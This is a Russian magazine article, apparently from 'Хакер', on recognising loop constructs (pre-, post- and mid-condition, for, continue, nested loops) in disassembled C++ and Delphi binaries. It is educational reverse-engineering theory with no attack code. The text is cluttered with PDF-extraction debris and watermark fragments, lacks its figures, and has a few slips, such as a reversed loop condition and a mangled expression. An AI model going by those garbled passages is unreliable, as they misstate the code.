В реальной­ жизни­ case-обработ­ чики­ прямо­ таки кишат ветвле­ ниями­ , цик ­ лами и прочими­ условными­ переходами­ всех мастей­ . Как следствие­ — логическое­ дерево приобре­ тает­ вид, ничуть не напоминающий­ оператор­ множес­ твен­ ного­ выбора, а скорее­ смахива­ ющий­ на заросли­ чертополо­ ха­ . Понятное­ дело, идентифици­ ровав­ case-обработ­ чики­ , мы могли­ бы решить эту проблему­ , но как их идентифици­ ровать­ ?

Очень просто­ : за редкими­ клиничес­ ­кими исключени­ ­ями, case-обработ­ ­ чики содержат­ ветвле­ ­ния относитель­ ­но сравнива­ ­емой переменной­ . Действи­ ­

тельно­ , конструк­ ции­ switch(a) .... case 666 : if (а == 666) ...

или switch(a) ... case 666 : if (a > 66) ... абсолют­ ­но лишены смысла­ . Таким образом­ , мы можем смело­ удалить­ из логического­ дерева все гнезда­ с условиями­ , касающи­ ­мися сравнива­ ­емой переменной­ (переменной­ корневого­ гнезда­ ).

Хорошо­ , а если программист­ в порыве собствен­ ной­ глупос­ ти­ или стрем ­ лении затруднить­ анализ­ программы­ впаяет­ в case-обработ­ чики­ ветвле­ ния­ относитель­ но­ сравнива­ емой­ переменной­ ? Оказыва­ ется­ , это ничуть не зат ­ руднит анализ­ ! Впаянные­ ветвле­ ния­ элемен­ тарно­ распозна­ ются­ и обрезают­ ­ ся либо как избыточ­ ные­ , либо как никогда­ не выполняющиеся­ . Например­ , если к правой­ ветке­ гнезда­ (a == 3) прицепить­ гнездо­ (a > 0) — его можно­ удалить­ , как не несущее в себе никакой информации­ . Если же к правой­ ветке­ того же самого гнезда­ прицепить­ гнездо­ (a == 2), его можно­ удалить­ , как никогда­ не выполняющееся­ : если a == 3, то заведомо­ a != 2!

ИТОГИ

Сперва­ мы разобрали­ , чем конструк­ ­ция операто­ ­ра выбора switch — case — break отличает­ ­ся от обычного­ условного­ операто­ ­ра if — then — else, как различа­ ­ются их двоичные­ представ­ ­ления. Рассмот­ ­рели, какой бинарный­ код создают­ два самых популярных­ компилято­ ­ра C++ на основе­ одной и той же программы­ , внутри­ которой присутс­ ­тву­ет оператор­ выбора. Убедились­ , что разница­ значитель­ ­на.

Далее­ наше внимание­ захватил­ аналог­ операто­ ра­ выбора из языка­ Pascal. Его рассмот­ рение­ с точки­ зрения­ программис­ та­ выявило­ бесспор­ ное­ пре ­ восходс­ тво­ над C++-аналогом­ , однако­ , с точки­ зрения­ ассемблер­ щика­ , код, подготов­ ленный­ Delphi-компилято­ ром­ , особо­ не отличает­ ся­ от кода того же

C++Builder.

Когда­ оператор­ условного­ выбора имеет­ разумное­ количество­ исполня ­ емых веток, разобрать­ ся­ в условиях­ и вытекающих­ из них действий­ не сос ­ тавляет­ особого­ труда­ , загадка­ решается­ с использовани­ ем­ головного­ мозга­ без примене­ ния­ дополнитель­ ных­ инстру­ мен­ тов­ . Тем не менее, если в опе ­ раторе­ выбора содержатся­ десятки­ условий­ с ветками­ , приходит­ ся­ чертить­ логическое­ дерево. Как мы обсуждали­ в одной из прошлых­ статей­ , для пос ­ троения­ логического­ дерева можно­ написать чертежную­ программу­ или вос ­ пользовать­ ся­ графопос­ тро­ ите­ лем­ из состава­ IDA Pro в том случае­ , если она есть среди­ твоего­ хакерско­ го­ инстру­ мен­ тария­ .

Но если дерево состоит­ из сотен или тысяч веток, а программис­ ­ты с бодуна всякое­ могут написать, никакого­ мыслитель­ ­ного процес­ ­са для ана ­ лиза такого кода не хватит­ . И приходит­ ся­ снова­ прибегать­ к помощи логичес ­ ких деревьев­ . А если дерево получится­ заросшим­ , вскараб­ кать­ ся­ на него будет очень сложно­ . Поэтому­ его придет­ ся­ обрезать­ , сокращать­ , исключать­ не имеющие­ смысла­ узлы. Эти шаги мы подробно­ рассмот­ рели­ в третьем­ разделе­ статьи.

В следующей­ статье мы разберем­ устройство­ циклов­ — еще одного­ край ­ не важного­ механизма­ всех языков­ программи­ ­рова­ния.

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

g

 

 

 

p

 

 

c

 

 

 

 

 

 

 

 

df

-x

 

n

 

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

c

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

 

Крис Касперски

Известный российский хакер. Легенда ][, ex-

редактор ВЗЛОМа. Также известен под псевдонимами

мыщъх, nezumi (яп. , мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

ОПРЕДЕЛЯЕМ ЦИКЛЫ В ДВОИЧНОМ КОДЕ ПРОГРАММЫ

Юрий Язев

Широко известен под псевдонимом yurembo.

Программист, разработчик видеоигр, независимый исследователь. Старый автор журнала «Хакер». yazevsoft@gmail.com

В сегодняшней­ статье мы изучим­ все типы циклов­ , которые могут встретить­ ся­ в языках­ программи­ рова­ ния­ высокого­ уровня­ . Увидим­ , какие способы­ есть у компилято­ ра­ для отра жения их в двоичном­ виде. Разберем­ плюсы­ и минусы каж ­ дого. Кроме­ того, мы узнаем­ , как перемалыва­ ют­ циклы­ раз ­ личные трансля­ торы­ и что получается­ на выходе у оптимизи­ ­ рующих и неоптимизи­ рующих­ компилято­ ров­ .

Пятнадцать­ лет назад эпичес­ ­кий труд Криса­ Каспер­ ­ски «Фундамен­ ­таль­ные основы­ хакерства­ » был настоль­ ­ной книгой­ каждого­ начинающе­ ­го исследова­ ­ теля в области компьютер­ ­ной безопасности­ . Однако­ время­ идет, и знания­ , опубликован­ ­ные Крисом­ , теряют­ актуаль­ ­ность. Редакторы­ «Хакера» попыта ­ лись обновить­ этот объемный­ труд и перенести­ его из времен­ Windows 2000 и Visual Studio 6.0 во времена­ Windows 10 и Visual Studio 2019.

Ссылки­ на другие­ статьи из этого­ цикла­ ищи на странице­ автора­ .

Циклы­ — единствен­ ­ная (за исключени­ ­ем неприлич­ ­ного GOTO) конструк­ ­ция языков­ высокого­ уровня­ , имеющая­ ссылку­ «назад», то есть в область младших­ адресов­ . Все остальные­ виды ветвле­ ­ний — будь то IF — THEN — ELSE или оператор­ множес­ ­твен­ного выбора SWITCH — всегда­ направле­ ­ны «вниз», в область старших­ адресов­ . Вследствие­ этого­ изобража­ ­ющее цикл логичес ­ кое дерево настоль­ ­ко характерно­ , что легко­ опознает­ ­ся с первого­ взгляда­ .

Сущес­ ­тву­ют три основных типа циклов­ . 1. Циклы­ с условием­ в начале.

2. Циклы­ с условием­ в конце­ .

3. Циклы­ с условием­ в середине­ .

Комбиниро­ ван­ ные­ циклы­ имеют­ несколь­ ко­ условий­ в разных­ местах­ , нап ­ ример в начале и конце­ одновремен­ но­ . В свою очередь­ , условия­ бывают­ двух типов: условия­ завер­ шения­ цикла­ и условия­ продол­ жения­ цикла­ .

В первом­ случае­ , если условие­ завершения­ истинно, выполняет­ ся­ переход в конец цикла­ , иначе­ он продол­ жает­ ся­ . Во втором­ , если условие­ продол­ жения­ цикла­ ложно­ , выполняет­ ся­ переход в конец цикла­ , в против­ ном­ случае­ он продол­ жает­ ся­ . Легко­ показать, что условия­ продол­ жения­ цикла­ представ­ ляют­ собой инвертирован­ ные­ условия­ завершения­ .

Таким­ образом­ , со стороны­ трансля­ ­тора вполне­ достаточ­ ­но поддер­ ­жки условий­ одного­ типа. И действи­ ­тель­но, операто­ ­ры циклов­ while, do и for языка­ С/C++ работают­ исключитель­ ­но с условиями­ продол­ ­жения цикла­ . Опе ­ ратор while языка­ Delphi также­ работает­ с условием­ продол­ ­жения, и исклю ­ чение составля­ ­ет один лишь repeat-until, ожидающий­ условие­ завершения­ цикла­ .

ЦИКЛЫ С УСЛОВИЯМИ В НАЧАЛЕ

Их также­ называют­ циклами­ с предус­ ­лови­ем. В языках­ С/C++ и Delphi под ­ держка­ циклов­ с предус­ ­лови­ем обеспечива­ ­ется операто­ ­ром while ( условие), где условие — это условие­ продол­ ­жения цикла­ . То есть цикл while (a < 10) a++; выполняет­ ­ся до тех пор, пока условие­ (a>10) остается­ истинным. Однако­ трансля­ ­тор при желании может инвертировать­ условие­ продол­ ­жения цикла­ на условие­ его завершения­ . На платформе­ Intel 80x86 такой трюк экономит­ от одной до двух машинных­ команд.

Обрати­ внимание­ : ниже приведен­ цикл с условием­ завершения­ цикла­ .

А далее — с условием­ продол­ жения­ цикла­ .

Как видно­ на картинках­ , цикл с условием­ завершения­ на одну команду­ короче! Поэтому­ практичес­ ки­ все компилято­ ры­ (даже неоптимизи­ рующие­ ) всегда­ генерируют­ первый­ вариант­ . А некоторые­ особо­ одарен­ ные­ даже умеют­ превращать­ циклы­ с предус­ лови­ ем­ в еще более эффективные­ циклы­ с пос ­ тусловием­ (см. пункт «Циклы­ с условием­ в конце­ »).

Цикл с условием­ завершения­ не может быть непосредс­ твен­ но­ отображен­ на оператор­ while. Кстати­ , об этом часто­ забывают­ начинающие­ , допуская­

ошибку­ «что вижу, то пишу»: while (a >= 10) a++. С таким условием­ цикл вообще­ не выполнится­ ни разу! Но как выполнить­ инверсию условия­ и при этом гарантирован­ ­но не ошибить­ ­ся? Казалось бы, что может быть проще­ , а вот попросите­ знакомо­ ­го хакера назвать­ операцию­ , обратную «больше­ ». Очень может быть (даже наверняка­ !), что ответом­ будет... «меньше­ ». А вот и нет, правиль­ ­ный ответ «меньше­ или равно­ ». Полный­ перечень обратных операций­ отношений­ можно­ найти­ в следующей­ таблице­ .

ЦИКЛЫ С УСЛОВИЕМ В КОНЦЕ

Их также­ называют­ циклами­ с постусло­ вием­ . В языке­ С/C++ поддер­ жка­ цик ­ лов с постусло­ вием­ обеспечива­ ется­ парой операто­ ров­ do … while, а в языке­ Delphi — repeat … until. Циклы­ с постусло­ вием­ без каких либо проблем­ непосредс­ твен­ но­ отобража­ ются­ с языка­ высокого­ уровня­ на машинный­ код и наоборот­ . То есть, в отличие­ от циклов­ с предус­ лови­ ем­ , инверсии условия­ не происхо­ дит­ .

Например­ , do a++; while (a<10); в общем случае­ компилиру­ ­ется в сле ­ дующий код (обрати­ внимание­ : в переходе­ использовалась­ та же самая опе ­ рация отношения­ , что и в исходном цикле­ . Красота­ , и никаких ошибок­ при декомпиляции­ !).

Сравним­ код цикла­ с постусло­ ­вием и код цикла­ с предус­ ­лови­ем. Не правда­ ли, цикл с условием­ в конце­ компак­ ­тнее и быстрее­ ? Некоторые­ компилято­ ­ры (например­ , Microsoft Visual C++) умеют­ трансли­ ­ровать циклы­ с предус­ ­лови­ем в циклы­ с постусло­ ­вием. На первый­ взгляд, это вопиющая­ самодеятель­ ­ность компилято­ ­ра — если программист­ хочет проверять­ условие­ в начале, то какое право­ имеет­ трансля­ ­тор ставить­ его в конце­ ?

На самом же деле разница­ между­ «до» и «после­ » не столь значитель­ ­на. Если компилятор­ уверен­ , что цикл выполняет­ ­ся хотя бы один раз, то он впра ­ ве выполнять­ провер­ ­ку когда­ угодно­ . Разумеется­ , при этом необходимо­ нес ­ колько­ скорректи­ ­ровать условие­ провер­ ­ки: while (a<b) не эквивален­ ­тно do

... while (a<b), так как в первом­ случае­ при (a == b) уже происхо­ дит­ выход из цикла­ , а во втором­ цикл выполняет­ еще одну итерацию­ . Однако­ этой беде легко­ помочь: увеличим­ а на единицу­ (do ... while ((a+1)<b)) или вычтем­ эту единицу­ из b (do ... while (ab-1))), и... теперь все будет работать!

Спрашива­ ­ется: и на кой все эти извращения­ , значитель­ ­но раздува­ ­ющие код? Дело в том, что блок статичес­ ­кого предска­ ­зания направле­ ­ния ветвле­ ­ний процес­ ­соров Pentium и всех последу­ ­ющих моделей оптимизи­ ­рован именно­ под переходы­ , направлен­ ­ные назад, то есть в область младших­ адресов­ . Поэтому­ циклы­ с постусло­ ­вием должны­ выполнять­ ­ся несколь­ ­ко быстрее­ ана ­ логичных­ им циклов­ с предус­ ­лови­ем.

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ОПРЕДЕЛЯЕМ ЦИКЛЫ В ДВОИЧНОМ КОДЕ ПРОГРАММЫ

ЦИКЛЫ СО СЧЕТЧИКОМ

 

 

 

 

 

 

 

Циклы­ со счетчиком­

(for) не являются­

самостоятель­

ным­

типом циклов­ ,

а представ­ ляют­

собой всего­ лишь синтакси­

чес­ кую­

разновид­

ность­

циклов­

с предус­ лови­

ем­ . В самом деле, for (a = 0; a < 10; a++) в первом­ приб ­

лижении то же самое, что и

a = 0;

while (a < 10) {

...

a++;

}

Однако­ результаты­ компиляции­ двух этих конструк­ ­ций необязатель­ ­но будут идентичны­ !

Оптимизи­ ­рующие компилято­ ­ры (да и значитель­ ­ная часть неоптимизи­ ­ рующих) поступа­ ­ют хитрее­ , передавая­ после­ инициали­ ­зации перемен ­ ной счетчика­ управление­ на команду­ провер­ ­ки условия­ выхода из цикла­ . Образовав­ ­шаяся конструк­ ­ция, во первых­ , характерна­ и при анализе­ прог ­ раммы — она сразу­ бросает­ ­ся в глаза­ , — а во вторых­ , не может быть непос ­ редствен­ ­но отображена­ на циклы­ while языка­ высокого­ уровня­ .

Непос­ ­редс­твен­ный прыжок­ вниз может быть результатом­ компиляции­ и цикла­ for, и операто­ ­ра GOTO, но GOTO сейчас­ не в моде и использует­ ­ся крайне­ ред ­ ко, а без него оператор­ условного­ перехода­ IF — THEN не может прыгнуть­ непосредс­ ­твен­но в середину­ цикла­ while! Выходит, изо всех «кандидатов­ » остается­ только­ цикл for.

Некото­ ­рые особо­ продвинутые­ компилято­ ­ры (Microsoft Visual C++, Embarcadero C++Builder) поступа­ ­ют хитрее­ : анализи­ ­руя код, они еще на ста ­ дии компиляции­ пытаются­ определить­ , выполняет­ ­ся ли данный­ цикл хотя бы один раз, и, если видят, что он действи­ ­тель­но выполняет­ ­ся, превраща­ ­ют for в типичный­ цикл с постусло­ ­вием.

Наконец­ , самые совершенные­ компилято­ ры­ (из которых можно­ назвать­ один лишь Microsoft Visual C++) могут даже заменять циклы­ с прираще­ нием­ на цик ­ лы с убывани­ ем­ при условии­ , что параметр цикла­ не использует­ ся­ операто­ ­ рами цикла­ , а лишь прокручива­ ет­ цикл определен­ ное­ число­ раз. Зачем это компилято­ ру­ ? Оказыва­ ется­ , циклы­ с убывани­ ем­ гораздо­ короче — одно ­ байтовая­ инструк­ ция­ DEC не только­ уменьшает­ операнд­ , но и выставля­ ет­ Zero-флаг при достижении­ нуля. В результате­ необходимость­ в команде­ CMP A, xxx отпадает­ автомати­ чес­ ки­ .

Таким­ образом­ , в зависимос­ ти­ от настро­ ек­ и характера­ компилято­ ра­ циклы­ for могут трансли­ ровать­ ся­ и в циклы­ с предус­ лови­ ем­ , и в циклы­ с постусло­ ­ вием, начинающие­ свое выполнение­ с провер­ ки­ условия­ продол­ жения­ цикла­ . Причем­ условие­ продол­ жения­ может инвертировать­ ся­ в условие­ завершения­ , а возраста­ ющий­ цикл может волшебным­ образом­ превратить­ ся­ в убы ­ вающий.

Такая­ неоднознач­ ность­ затрудня­ ет­ идентифика­ цию­ циклов­ for. Надежно­ определя­ ются­ лишь циклы­ , начинающиеся­ с провер­ ки­ постусло­ вия­ , так как они не могут быть отображены­ на do без использования­ GOTO. Во всех остальных­ случаях­ никаких строгих­ рекомендаций­ по распозна­ ванию­ for дать нельзя­ .

Скажем­ так: если логика исследуемо­ ­го цикла­ синтакси­ ­чес­ки удобнее­ выражается­ через оператор­ for, то и выражай ее через for! В против­ ­ном случае­ используй­ while или do (repeat\until) для циклов­ с пред- и пос ­ тусловием­ соответс­ ­твен­но.

И в заключение­ пара слов о «кастри­ рован­ ных­ » циклах­ . Язык C/C++ поз ­ воляет­ опустить­ инициали­ зацию­ переменной­ цикла­ , условие­ выхода из него, оператор­ прираще­ ния­ переменной­ или все это вместе­ . При этом for вырож ­ дается­ в while и становит­ ся­ практичес­ ки­ неотличимым­ от него.

ЦИКЛЫ С УСЛОВИЕМ В СЕРЕДИНЕ

Популяр­ ­ные языки­ высокого­ уровня­ непосредс­ ­твен­но не поддержи­ ­вают цик ­ лы с условием­ в середине­ , хотя необходимость­ в них возника­ ­ет довольно­ часто­ . Поэтому­ программис­ ­ты их реализуют­ на основе­ уже имеющих­ ­ся цик ­ лов while (while\do) и операто­ ­ра выхода из цикла­ break. Например­ , так.

Компилятор­

(если он не совсем­

осёл) разворачи­

вает­

бесконеч­

ный­

 

 

 

цикл

в безусловный­

переход JMP, направлен­

ный­ , естествен­

но­ , назад (ослы генери ­

руют код вроде­ MOV

EAX,

1\CMP

EAX,1\JZ

 

repeat). Направлен­

ный­

назад

безусловный­

переход весьма­ характерен­

— за исключени­

ем­ бесконеч­

ного­

цикла­ , его может порождать­

один лишь оператор­

GOTO. А раз у нас есть бес ­

конечный­

цикл, то условие­ его завершения­

может находиться­ лишь в середи ­

не этого­ цикла­ (сложные­

случаи­

многопо­

точ­ ных­

защит, модифициру­

ющих­

из соседнего­

потока безусловный­

переход в NOP, мы пока не рассмат­

рива­

­

ем). Остается­

прочесать­

тело цикла­ и найти­ это самое условие­ .

 

 

 

 

 

 

 

 

 

 

Сделать­

это будет нетрудно­

— оператор­

break трансли­ рует­

ся­ в переход

на первую­

команду­ , следующую­

за JMP

 

repeat, а сам break получает­

управление­

от ветки­

IF (условие) — THEN

— [ELSE]. Условие­

ее срабаты­

­

вания и будет искомым­

условием­

завершения­

цикла­ . Вот, собствен­

но­ , и все.

 

ЦИКЛЫ С МНОЖЕСТВЕННЫМИ УСЛОВИЯМИ ВЫХОДА

Оператор­ break позволя­ ет­ организо­ вать­ выход из цикла­ в любом удобном­ для программис­ та­ месте­ , поэтому­ любой цикл может иметь множес­ тво­ усло ­ вий выхода, беспорядоч­ но­ разбро­ сан­ ных­ по его телу. Это ощутимо­ усложняет­ анализ­ дизассем­ бли­ руемой­ программы­ , так как возника­ ет­ риск «прозевать­ » одно из условий­ завершения­ цикла­ , что приведет­ к неправиль­ ному­ понима ­ нию логики программы­ .

Идентифици­ ­ровать условия­ выхода из цикла­ очень просто­ — они всегда­ направле­ ­ны «вниз», то есть в область старших­ адресов­ , и указыва­ ­ют на команду­ , непосредс­ ­твен­но следующую­ за инструк­ ­цией условного­ (безус ­ ловного­ ) перехода­ , направлен­ ­ного «вверх», в область младших­ адресов­ .

ЦИКЛЫ С НЕСКОЛЬКИМИ СЧЕТЧИКАМИ

Оператор­ «запятая» языка­ С/C++ позволя­ ет­ выполнять­ множес­ твен­ ную­ ини ­ циализацию­ и модификацию­ счетчиков­ цикла­ for. Например­ : for (int a = 0, b = 10; a != b; a++, b--)... А как насчет­ несколь­ ких­ условий­ завер ­ шения? Подавляющее­ большинс­ тво­ учебников­ по программи­ рова­ нию­ на этот счет хранят­ гробовое­ молчание­ .

С помощью Embarcadero C++Builder 10.4 попробу­ ­ем скомпилиро­ ­вать сле ­

дующий код (пример­ some_counters_cb):

int _tmain(int argc, _TCHAR* argv[]) {

for (int a = 0, b = 10; a < 10, b > 5; a++, b--)

std::cout << a << " | " << b << std::endl;

return 0;

}

Он будет благопо­ луч­ но­ «проглочен­ » компилято­ ром­ , однако­ в области предуп­ ­ реждений­ выведет

0

cod1.cpp(15,27): warning W7379: relational comparison result unused 0

 

 

 

 

Резуль­

тат­ выполнения­

примера­

some_counters_cb

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Предуп­ режде­

ние­

он вывел, а скомпилиро­

вал­ то все равно­ неправиль­

но­ !

Логическое­

условие­

(a1, a2, a3, ... ,an) лишено смысла­ , и компилято­

ры­

без малейших­

колебаний­

и зазрений­

совести­ отбросят­ все, кроме­ самого

правого­

выражения­ an. Оно то и будет единолич­

но­ определять­

условие­ про ­

должения­

цикла­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Откомпи­

лиру­

ем­ этот же код в Microsoft Visual C++ 2022. Он выведет более

осмысленное­

сообщение­

: «Предуп­ режде­

ние­ C6319: Использование­

операто­

­

ра „запятая“ в проверя­

емом­

выражении­

приводит­

к тому, что левый аргумент­

будет пропущен­

, если у него нет побочных­ эффектов».

 

 

 

 

 

 

 

 

 

 

 

Такое­

объясне­

ние­

более понятно­ . Если условие­

продол­

жения­

цикла­

зависит от несколь­

ких­

переменных­ , то их сравнения­

следует­

объеди­ нить­

в одно выражение­

посредс­

твом­

логических­ операций­

OR, AND и других­ . Нап ­

ример: for (a=0, b=10; (a > 0 && b < 10); a++, b--) — цикл прерыва­

­

ется сразу­ же, как только­ одно из двух условий­

станет­

ложно­ ;

for

(a=0,

b=10; (a

>

0

 

 

||

b

<

10); a++,

b--) — цикл продол­

жает­

ся­

до тех пор,

пока истинно хотя бы одно условие­ из двух.

Для успокоения­ совести­ модифициру­ ­ем код нашего примера­ , ском ­ пилируем­ его и посмотрим­ на результат­ :

int main() {

for (int a = 0, b = 10; (a < 10 || b > 5); a++, b--)

std::cout << a << " | " << b << std::endl;

}

Резуль­ тат­ выполнения­ примера­ some_counters

В остальном­ же циклы­ с несколь­ кими­ счетчиками­ трансли­ руют­ ся­ аналогич­ но­ циклам­ с одним счетчиком­ , за исключени­ ем­ того, что инициали­ зиру­ ется­ и модифициру­ ется­ не одна, а сразу­ несколь­ ко­ переменных­ .

ИДЕНТИФИКАЦИЯ CONTINUE

Оператор­ continue приводит­ к непосредс­ ­твен­ной передаче­ управления­ на код провер­ ­ки условия­ продол­ ­жения (завершения­ ) цикла­ . В общем случае­ он трансли­ ­рует­ся в безусловный­ jump в циклах­ с предус­ ­лови­ем, направлен­ ­ ным вверх, а в циклах­ с постусло­ ­вием — вниз. Следующий­ за continue код уже не получает­ управления­ , поэтому­ continue практичес­ ­ки всегда­ исполь ­ зуется­ в условных конструк­ ­циях.

Например­ :

while (a++ < 10)

if (a == 2)

continue;

...

Компилиру­ ется­ приблизитель­ но­ так.

СЛОЖНЫЕ УСЛОВИЯ

До сих пор, говоря об условиях­ завершения­ и продол­ ­жения цикла­ , мы рас ­ сматривали­ лишь элемен­ ­тарные условия­ отношения­ , в то время­ как прак ­ тически­ все языки­ высокого­ уровня­ допускают­ использование­ составных­ условий­ . Однако­ составные­ условия­ можно­ схематич­ ­но изобразить­ в виде абстрак­ ­тно­го «черного­ ящика­ » с входом­ /выходом и логическим­ двоичным­ деревом внутри­ . Постро­ ­ение и реконструк­ ­ция логических­ деревьев­ подробно­ рассмат­ ­рива­ются в разделе­ «Идентифика­ ­ция IF — THEN — ELSE», здесь же нас интересу­ ­ет организа­ ­ция циклов­ , а не сами условия­ .

Вложенные циклы

Циклы­ , понятное­ дело, могут быть и вложен­ ­ными. Казалось бы, какие проб ­ лемы? Начало каждого­ цикла­ надежно­ определя­ ­ется по перекрес­ ­тной ссыл ­ ке, направлен­ ­ной вниз. Конец цикла­ — условный или безусловный­ переход на его начало. У каждого­ цикла­ только­ одно начало и только­ один конец (хотя условий­ выхода может быть сколько­ угодно­ , но это другое­ дело). Причем­ цик ­ лы не могут пересекать­ ­ся; если между­ началом и концом­ одного­ цикла­ встре ­ чается­ начало другого­ цикла­ , то этот цикл — вложен­ ­ный.

Но не все так просто­ : тут есть два подводных­ камня­ . Первый­ : оператор­ continue в циклах­ с предус­ лови­ ем­ , второй­ — сложные­ условия­ продол­ жения­ цикла­ с постусло­ вием­ . Рассмот­ рим­ их подробнее­ .

Посколь­ ­ку в циклах­ с предус­ ­лови­ем оператор­ continue трансли­ ­рует­ся в безусловный­ переход, направлен­ ­ный «вверх», он становит­ ­ся практичес­ ­ки неотличим­ от конца­ цикла­ . Смотри­ :

while (условие1) {

...

if (условие2) continue;

...

}

Трансли­ рует­ ся­ в следующий­ код.

Два конца­ и два начала вполне­ напоминают­ два цикла­ , один из которых вло ­ жен в другой­ . Правда­ , начала обоих­ циклов­ совмещены­ , но ведь может же такое быть, если в цикл с постусло­ ­вием вложен­ цикл с предус­ ­лови­ем? На первый­ взгляд кажется­ , что да, но если подумать, то... ай ай ай! А ведь ус ­ ловие1 выхода из цикла­ прыгает­ аж за второй­ конец! Если это предус­ ­ловие вложен­ ­ного цикла­ , то оно прыгало­ бы за первый­ конец. А если условие­ 1 — предус­ ­ловие материнско­ ­го цикла­ , то конец вложен­ ­ного цикла­ не смог бы передать на него управление­ . Выходит, это не два цикла­ , а один. А первый­ «конец» — результат­ трансля­ ­ции операто­ ­ра continue.

С разбором­ сложных­ условий­ продол­ ­жения цикла­ с постусло­ ­вием дела обстоят­ еще лучше­ . Рассмот­ ­рим такой пример­ :

do {

...

} while(условие1 || условие2);

Ну чем не

do {

do {

...

} while(условие1)

}while(условие2)

Строго­ говоря, предложен­ ный­ вариант­ логически­ верен, но синтакси­ чес­ ки­ некрасив­ . Материнский­ цикл крутит­ в своем­ теле один лишь вложен­ ный­ цикл и не содержит­ никаких других­ операто­ ров­ . Так зачем он тогда­ , спрашива­ ется­ , нужен? Следует­ объеди­ нить­ его с вложен­ ным­ циклом­ !

ЗАКЛЮЧЕНИЕ

По большому­ счету­ это была теоретичес­ ­кая статья. В ней мы не рассмот­ ­рели ни одного­ дизассем­ ­блер­ного листинга­ . Однако­ и цель у нее другая­ : показать все разнооб­ разие­ циклов­ и подготовить­ тебя к следующе­ му­ шагу — к осмысленному­ разбору­ дизассем­ блер­ ных­ листингов­ настоящих­ программ­ с возможностью­ отмечать­ коррек­ тные­ и неправиль­ ные­ ходы конкрет­ ного­ ком ­

пилятора­ . Поэтому­ будь готов в следующей­ статье к новым путешестви­ ­ям по непроходи­ ­мым дизассем­ ­блер­ным зарослям­ .

Юрий Язев призыва­ ­ет тебя пообщать­ ­ся с ним и другими­ читателями­ на тему дизассем­ ­бли­рова ­ ния и «Фундамен­ ­таль­ных основ» в дис­корде.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 
